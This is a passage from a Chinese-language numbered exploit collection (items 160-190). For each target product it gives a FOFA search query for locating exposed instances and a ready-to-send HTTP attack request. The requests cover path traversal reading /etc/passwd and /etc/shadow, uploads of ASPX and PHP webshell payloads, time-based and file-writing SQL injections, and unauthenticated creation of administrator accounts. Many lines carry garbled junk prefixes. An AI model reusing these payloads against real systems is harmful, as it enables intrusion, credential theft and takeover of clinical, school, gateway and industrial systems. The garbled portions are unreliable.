</soap:Envelope>

1 m- s5 X! d$ v
/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")


160. Sonatype Nexus Repository 3目录遍历与文件读取
CVE-2024-4956
1 ^& `# P/ b! b+ MFOFA：title="Nexus Repository Manager"
! J- ?$ N  C2 L( V- n2 o* q3 QGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
. K  V* |( i' b5 r: V$ K7 kUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
' Q8 T9 G7 {& V+ L0 b( |Connection: close
* a% y0 O3 a/ |& z. ]! F6 TAccept: */*
Accept-Language: en
, j- G- ]  g) x* f1 wAccept-Encoding: gzip
5 L5 d( w$ J" Y# ?

161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
! Z$ f" X5 @1 r% G6 O4 YHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
4 c$ H5 O  H3 }+ k" `7 WContent-Length: 445
Content-Type: text/xml
Accept-Encoding: gzip
4 u, D' ~2 B- E" t
5 l+ m( |! J- V5 u# Y<?xml version="1.0" encoding="utf-8"?>
  ?- X5 P0 J: \: r4 {<soap:Envelope xmlns:xsi="
. z& B0 s4 R8 k6 w6 khttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
* ^2 ?4 B  t; Q<soap:Body>
" @! k% V3 ~7 ?: ^/ _4 R<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
) ?( Y* U; H; z3 K+ \3 L<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
& [3 A9 J1 Y; ]( y. e<tag>3</tag>
; {8 o5 c% e( ^! o! K) P* s</UploadResume>
</soap:Body>
0 H1 z- u' c  W3 B0 [+ m) C+ t</soap:Envelope>


http://x.x.x.x/dizxdell.aspx
: |$ ?  G5 p7 y1 M4 R! ^
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
9 ]& e( @8 \. E' S; K& }" iFOFA: app="和丰山海-数字标牌"
% r- i( `) D8 L2 U+ U9 qPOST /QH.aspx HTTP/1.1
Host: x.x.x.x
9 W3 u! Z  H3 H! h9 [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
4 p7 S4 l1 z, G5 e% a3 K( b& lAccept-Encoding: gzip
  y! j% l" g4 }( A9 J7 P, C$ @. ^
$ M: l9 t/ s7 P: O9 G------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream

<% response.write("ujidwqfuuqjalgkvrpqy") %>
: w+ l6 S* s  T" t" n------WebKitFormBoundaryeegvclmyurlotuey
, `9 K% ]+ g4 j1 J# R& ]1 vContent-Disposition: form-data; name="action"

* T0 Y6 p# d8 q: Q( [upload
------WebKitFormBoundaryeegvclmyurlotuey
9 y' J$ T  u6 {- DContent-Disposition: form-data; name="responderId"

ResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
- f# h, d; Z  M2 [Content-Disposition: form-data; name="remotePath"
6 [7 z% M: z  N) p# Q8 g; R: X
" j3 L  ]7 R' h2 I/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--

+ C5 u4 L3 w0 E( ?7 W
http://x.x.x.x/opt/resources/kjuhitjgk.aspx
  T# c% A; u; N/ m
7 g( o1 K& \9 z; K- K' v: _. i- G163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
+ I* t/ z0 U4 q3 T- MFOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
% ^6 A% }9 z/ I# q9 x) |" bContent-Length: 293
, O0 k* M) o2 Y" A, [2 bAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
/ s( C, O$ V" |( `% h! x9 B
) [$ i3 G3 k) D) G1 q1 q9 s------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"
2 `& {3 d' Q2 ^3 U/ e
1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
- I% a) u+ [& ]7 R: T0 l# SContent-Disposition: form-data; name="upfile"; filename="1.php"
. f7 m4 t" x" W# TContent-Type: image/jpeg

/ n! s5 g9 W, Rrvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--


164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
/ I* n0 l8 O4 hFOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
8 k& \' q- T7 A4 D7 G; fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Length: 288
) H8 {) B3 `- v# N/ x) \Accept: application/json, text/javascript, */*; q=0.01
2 x& w% O9 y1 ZAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
$ C; Q+ p$ P5 `- C% g/ xConnection: close
3 R9 h+ h" J4 Z- D+ \Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
& A3 \8 m% X( d  m+ w, J; oX-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

" ~" S4 ^" l8 G/ X3 X& i------dqdaieopnozbkapjacdbdthlvtlyl
2 q5 \# }2 {# i9 v' ]Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg
( v: I3 \8 y& X- z4 f; g3 Q
<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
4 a! h, g9 d( @6 k& B------dqdaieopnozbkapjacdbdthlvtlyl--


http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
/ N; S7 M; ~9 l8 ]$ {; A& k  g
165. OrangeHRM 3.3.3 SQL 注入
4 d1 P  F0 e# |  ]$ o  q5 B5 ~8 OCVE-2024-36428
FOFA: app="OrangeHRM-产品"
. c. u- i' y! J! E6 I$ K6 T2 rURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
+ J- L0 w% i* _) Y, P- M- [
* D% q: R" ?, h; O
166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
Pragma: no-cache
. P5 ?% S$ h  Q5 y( q; y. x6 a* `Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
5 Q* L) M, o$ A8 CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# y5 g% O; ]( X* U( \5 ]Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
+ R8 Y8 ~% R8 m( }/ vConnection: close
2 o! p/ I$ o; _7 H6 v7 ]- pContent-Type: application/x-www-form-urlencoded
Content-Length: 89
2 m; O7 D1 \/ e* m+ t
3 a" j# z7 W8 L2 _1 oMethod=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
) u& i+ @9 M% A( l7 s( v. r0 U1 p! ^0 L6 M

167. 精益价值管理系统 DownLoad.aspx任意文件读取
0 `. O) c8 |+ {FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
% M% [5 n: j8 e5 u3 }6 cAccept-Encoding: gzip, deflate
! R. `* V( J/ H! }7 O) SAccept: */*
Connection: keep-alive
' W1 [' I6 c  K- ^/ O
8 z/ q- q9 |8 T; z. ]) W; S
9 y4 S- I5 \+ U9 C+ E6 @168. 宏景EHR OutputCode 任意文件读取
) D! r' ~4 I( xFOFA：app="HJSOFT-HCM"
/ ^! M6 H$ x# l* p( TGET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close
+ y5 X# l0 s: d* U( r- N


169. 宏景EHR downlawbase SQL注入
$ {- m* m& \& GFOFA：app="HJSOFT-HCM"
% b6 ~  ~$ H2 X; ?GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
( t& ^3 X& Z& t$ |1 p8 E; Q/ @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
0 o8 Y( \3 W* z. KConnection: close

9 N7 N  Q* X3 C- X9 ^, n& k
; H. d) ]6 L1 H2 L& }
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
* |3 l$ I& E0 W: fFOFA：body="/general/sys/hjaxmanage.js"
6 C' k/ u/ H! v$ W, MPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
! Z; q( W( z* W& u/ N& lHost: balalanengliang
" b! M) P3 m# k  i. @1 N1 FUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
" H/ b# I5 L' U0 C9 Y( {$ k0 IContent-Type: application/x-www-form-urlencoded

, f! B$ c, p& M% b4 E- v0 _+ x! B- Sfilename=../webapps/ROOT/WEB-INF/web.xml

3 r$ U0 C) w+ F1 E4 L1 N2 u
8 b0 H! b$ h/ ?171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
1 ^, c% K0 r; IGET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
9 m8 H' K: K' `! D5 J+ x
/ B5 N, @5 @# j% J# q
  Z! Y+ r' i( P; F( \  L' Q
172. DT-高清车牌识别摄像机任意文件读取
" e1 J* @, A$ n  g8 BFOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
, J* p( S7 D) }/ I6 c6 ~Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


/ I; b# j6 k. K) O, U- U
5 |' H. e" k# F' ]# S, W: \! X173. Check Point 安全网关任意文件读取
CVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
( A- U1 [1 G6 i8 m  }& j2 }8 OPOST /clients/MyCRL HTTP/1.1
# U. T! b! a, Z- c- C! MHost: your-ip
9 X4 J) F) M  P4 U" h) L, I) o) oContent-Type: application/x-www-form-urlencoded
# L0 e+ b( Y0 U, g
- g2 U! q; W! Q1 LaCSHELL/../../../../../../../etc/shadow
9 g6 A& b9 A: t


/ l5 U9 q' y# _' h* O2 N& R$ \174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
6 g0 N' S0 c* e% t+ ?Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
4 z  n+ j2 g4 nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
" Q* D4 d7 ]# U5 M$ @" {+ G8 EConnection: close
- N* o! J4 Y7 j' M9 F2 I# \  m


! U  n9 g* g7 K/ E' B175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
9 |4 p3 e& @# c* A, TFOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
* }. c4 K# `  S3 w' {User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
. D5 y5 m" i4 _# X7 _. M' v& `Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
' a9 o6 R! M, nConnection: close
; p2 D: z! b2 M2 P, c! ~, A& NUpgrade-Insecure-Requests: 1


4 J" s% @7 Y: ]7 c; g! t* Q176. 电信网关配置管理系统 rewrite.php 文件上传
# r9 e* S5 l3 C1 j' X$ Q& sFOFA：body="img/login_bg3.png" && body="系统登录"
" x# H0 {  E5 b# L( gPOST /manager/teletext/material/rewrite.php HTTP/1.1
+ C! b  D/ _) z& pHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
. B% F- ^+ D" |) _( U3 gContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close

6 _% e7 C6 ~* c) p. X6 N2 g------WebKitFormBoundaryOKldnDPT
3 Y; x1 `  A# c7 P* S0 }7 OContent-Disposition: form-data; name="tmp_name"; filename="test.php"
6 r- s8 y5 e1 nContent-Type: image/png

' ]. z6 T* w# X8 S( w6 b<?php system("cat /etc/passwd");unlink(__FILE__);?>
, r' |! H1 J# y- t/ {( ]" c! L( {------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"
8 B+ S$ e* `" t+ g+ y
4 a) k7 @( Z$ L
------WebKitFormBoundaryOKldnDPT--

! {# c4 `9 _& c0 P$ W+ E0 P, s

0 E$ q4 J) d. t177. H3C路由器敏感信息泄露
+ j' ?9 o( l$ u8 C: Q1 A/ u4 i( a& K! e$ E/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
7 X5 S" x! K2 V0 `$ Y/userLogin.asp/../actionpolicy_status/../GR5200.cfg
& n4 ^- \8 N6 R+ T! `# s; n# b) f6 n/userLogin.asp/../actionpolicy_status/../GR3200.cfg
3 O4 m4 S! y; m/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
0 S- C2 A6 X$ z/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
* L7 z9 A! _) h% v6 A/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
) }0 f. s# q( D6 f7 h2 A1 z/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
' m& r$ r4 o% T- ]8 ~. Z) P/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
# ^1 @/ z0 e0 t. N3 V( r/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
$ L/ y5 t( j. z- Q* O/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg


+ e- {) a' b3 B) c+ f- l: }' _178. H3C校园网自助服务系统-flexfileupload-任意文件上传
/ v: L5 |" R7 b' a  sFOFA：header="/selfservice"
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
( r. S4 Q. r0 T! ]! qHost:
3 x& n* ~1 n6 fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
2 R, i' X: R, e/ K8 ]  wContent-Length: 252
Accept-Encoding: gzip, deflate
* S6 |! {  |) q: s- K9 F0 e) C: [Connection: close
. j, Y6 P6 d% ^1 }9 `" A: pContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
- k# d* g8 E8 E  Z8 H) X  C! {-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
$ N$ M3 M% B$ D/ ^7 M1 pContent-Type: application/octet-stream
2 o# Z4 t+ i7 X: M8 D5 U- RContent-Length: 255
9 C. t5 _: L0 d1 Y7 d5 S
6 |, b  p2 L% W* k12234
-----------------aqutkea7vvanpqy3rh2l--

5 Q6 A' @; w9 u  \: W2 T& w# V4 a
1 d+ q: c! n  f) }6 U2 s. tGET /imc/primepush/%2e%2e/flex/12234.txt


179. 建文工程管理系统存在任意文件读取
+ X, D+ W9 c7 a0 y8 ~. g$ oPOST /Common/DownLoad2.aspx HTTP/1.1
6 G& H( v2 ?: z+ uHost: {{Hostname}}
' v1 Q8 Y5 |1 E1 w/ h; a$ z' EContent-Type: application/x-www-form-urlencoded
( S* C; k, D: T1 j% C" P& r- \4 g1 lUser-Agent: Mozilla/5.0
4 K- u5 \8 A: R( q) f
path=../log4net.config&Name=

; l$ v+ V! a9 a3 v- s9 ]! w
% o# e  [" P; c2 \5 ^! l6 B5 n0 S180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
* ?) Z8 u& w. T5 U" F3 jGET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
. n5 E* ~) Z0 W6 B+ O+ i5 ~Host: your-ip
) P1 ?2 a1 ]3 x: cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
4 H1 ?: n; }# O; Q: T& w1 j3 [7 lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
0 i; C8 g, v: q) q; p5 x0 vConnection: close
0 f. v% O  n+ S2 y
. }% R, |% n$ W& E
181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
2 u- O8 Q9 Z7 k. k+ _+ j- m& WHost: your-ip
% e- m  P, \0 D  mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
: k/ U$ B/ ?# r! W* B1 v' `Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
* Q; H! I6 P4 ^Accept-Encoding: gzip, deflate, br
: H0 z8 @' m5 J- C9 \Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
% `) U$ p$ l; r7 Y! u$ A. |
8 i" d0 C  m$ C6 I
' q; N1 n( p8 r6 n, u7 Uaction=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20
' z: B1 I/ s" @+ d9 \0 E/ n  b

) D/ @$ Q0 K: }- Y8 ^6 S/ r182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
1 ^' u! I0 A2 w& ?2 o+ V/ gPOST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
# K$ y3 P" @, J- k7 X1 V) |Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
1 m, H4 S9 ~* h! C0 e: _Accept-Language: zh-CN,zh;q=0.9
Connection: close
6 d+ L/ \$ i. P8 U3 \- TContent-Type: application/x-www-form-urlencoded
2 f- \* H" E4 y  j

username=test1234&pwd=test1234&savedays=1
# Q7 e5 P) |/ I0 c. ~8 o4 u

183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
7 C2 K, ~0 {- y! b9 B- ^User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
. J, M: y3 }! V: x0 k+ [Accept-Charset: utf-8
! }' B: q& H2 T! }Accept-Encoding: gzip, deflate
Connection: close


184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
8 G* o# W' }. D$ o' N2 PFOFA：server="SunFull-Webs"
POST /soap/AddUser HTTP/1.1
$ i; ^# N/ w4 G, Q' s4 XHost: your-ip
6 g* ^, f6 x' {: U& E! SAccept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
% `. k: r0 o/ v* ~Accept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
# B) u. l( j+ ~3 B% K7 Y) oAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest
% X& d+ I6 d( I. h
$ M( P+ }- a% Z, L$ |
/ @% h3 Y+ E) B+ Einsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
, b/ {- g2 h9 j' j' W% W

185. 瑞友天翼应用虚拟化系统SQL注入
& B# z4 G6 B9 X2 _2 b3 Y0 i6 aversion < 7.0.5.1
* d7 A$ v  {' S9 {3 ~. P0 LFOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host
3 }, \' a, \: ~0 v
- K7 E2 t; H2 [- Q, i0 N
186. F-logic DataCube3 SQL注入
$ z3 R$ |' X7 ]9 |$ F! Q8 k: cCVE-2024-31750
. R, |: S. ~0 f( OF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
( U. v0 [$ o# @9 U  I% J2 P% oFOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
  i6 B/ s" B- C: @9 x) {4 rHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
- e( D6 f* o+ n) }+ K6 [/ ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
) ^) l# u9 k5 V0 kAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- B4 M0 y4 g2 t) r$ \. B% }Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
+ P" B* v; `+ v9 W3 v' r1 ]
! |  X6 Q' V: v; h+ O- yreq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450
) X, h& [6 `5 ?/ r/ t
) {5 c; d1 ^8 }3 C
187. Mura CMS processAsyncObject SQL注入
9 b' S4 n) n5 m9 Z. bCVE-2024-32640
) }" D/ ?+ N* |7 e' N  _FOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
& O# e0 V8 Z) [0 Z3 g7 mHost: your-ip
0 F) r1 p  V/ |# e- JContent-Type: application/x-www-form-urlencoded

$ u( p2 |7 ]2 U- W
object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
3 E! ^; C9 c% r# a: x9 l1 O

188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
5 D; E9 x9 R1 o: N" k6 _GET /attachment?file=/etc/passwd HTTP/1.1
- U' X" ]. `+ U5 y& n1 c7 {3 _" DHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
3 Q$ B  Q+ a$ p; R! e$ x+ \1 `Accept-Encoding: gzip, deflate
" W% K( y9 y% LAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

8 I9 K( h3 C, C$ ^) t8 c
6 z, ~9 ]; X! ?0 u9 C* r189. 蓝网科技临床浏览系统 deleteStudy SQL注入
2 D9 e. |' S( @FOFA：app="LANWON-临床浏览系统"
4 G1 p* G' u% K. }. u- M! Z" KGET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
# q! y/ f) ~- V* `' HHost: your-ip
3 m! c) e9 [1 a1 d4 L( Z2 hUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
. A7 R* n+ S; e" ^) h: u! IAccept-Encoding: gzip, deflate
& t" c0 D' a& {! }1 z) G. V$ CAccept-Language: zh-CN,zh;q=0.9
Connection: close


2 J" ]" v7 e# B) m* o9 F190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
4 y' T" _' t/ \( x7 {, J! _POST /index.php/admin/Userinfo/poihuoqu HTTP/2
6 }. Q$ l* J# HHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
' g8 x( u2 J0 |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
, x) L) c0 T' W3 y* A& }Accept-Language: zh-CN,zh;q=0.9
